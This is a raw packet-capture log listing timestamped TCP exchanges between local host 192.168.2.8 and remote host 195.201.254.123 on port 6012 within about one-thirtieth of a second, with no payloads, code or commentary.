Aug 31, 2023 16:50:49.593763113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593781948 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593810081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593825102 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593858004 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593875885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593907118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593926907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593955040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593972921 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594002008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594017029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594049931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594068050 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594100952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594110966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594149113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594166040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594197035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594219923 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594243050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594263077 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594290972 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594309092 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594338894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594357967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594387054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594407082 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594434977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594449043 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594482899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594544888 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594549894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594590902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594630957 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594630957 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594640017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594660997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594686985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594719887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594737053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594758987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594784021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594810963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594831944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594842911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594881058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594888926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594928026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594940901 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.594974995 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.594986916 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595024109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595038891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595069885 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595082998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595118046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595156908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595164061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595189095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595211983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595217943 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595259905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595273018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595316887 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595330000 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595365047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595381021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595412016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595422029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595468998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595491886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595550060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595598936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595633984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595645905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595644951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595673084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595695019 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595717907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595741987 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595767021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595788956 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595801115 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595837116 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595848083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595885992 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595894098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595942020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.595942974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.595998049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596003056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596064091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596071005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596120119 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596127987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596165895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596213102 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596260071 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596290112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596308947 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596354961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596400976 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596411943 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596411943 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596411943 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596426964 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596426964 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596448898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596467018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596494913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596503019 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596543074 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596554995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596591949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596597910 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596640110 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596648932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596688032 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596700907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596735954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596745968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596782923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596798897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596831083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596843004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596879005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596889973 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596926928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596940041 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.596975088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.596983910 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597023010 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597027063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597070932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597079039 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597120047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597124100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597174883 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597177029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597228050 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597228050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597287893 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597295046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597348928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597353935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597398996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597410917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597445965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597455978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597500086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597501040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597547054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597552061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597594976 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597599030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597642899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597647905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597698927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597707987 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597764015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597764015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597810030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597816944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597856045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597867966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597904921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597908974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.597951889 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.597956896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598001003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598004103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598048925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598053932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598095894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598103046 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598144054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598149061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598191977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598198891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598241091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598246098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598290920 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598294020 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598339081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598345995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598387003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598391056 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598434925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598443985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598481894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598495960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598531008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598534107 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598578930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598586082 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598627090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598630905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598675966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598725080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598767042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598767042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598772049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598782063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598820925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598826885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598869085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.598876953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.598932981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620206118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620250940 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620285034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620318890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620354891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620388031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620424032 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620425940 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620425940 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620426893 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620426893 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620459080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620493889 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620511055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620528936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620563030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620596886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620631933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620647907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620647907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620647907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620647907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620647907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620647907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620666981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620703936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620728970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620738983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620773077 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620774031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620773077 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620810032 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620821953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620846033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620881081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620882988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620882988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620908022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620917082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620939970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620951891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.620981932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.620994091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621016979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621032000 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621064901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621071100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621108055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621115923 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621155024 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621160030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621174097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621210098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621220112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621258974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621275902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621300936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621336937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621381044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621398926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621398926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621398926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621432066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621436119 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621479034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621500969 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621522903 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621539116 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621573925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621582031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621611118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621634007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621649027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621674061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621685028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621709108 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621720076 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621754885 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621756077 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621779919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621790886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621818066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621828079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621859074 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621864080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621881008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621900082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621922970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621934891 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621959925 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.621970892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.621999979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622008085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622021914 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622044086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622068882 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622081041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622100115 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622117996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622137070 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622153044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622176886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622188091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622219086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622224092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622243881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622261047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622289896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622297049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622314930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622334003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622354984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622369051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622404099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.622404099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622423887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.622438908 CEST	6012	49774	195.201.254.123	192.168.2.8
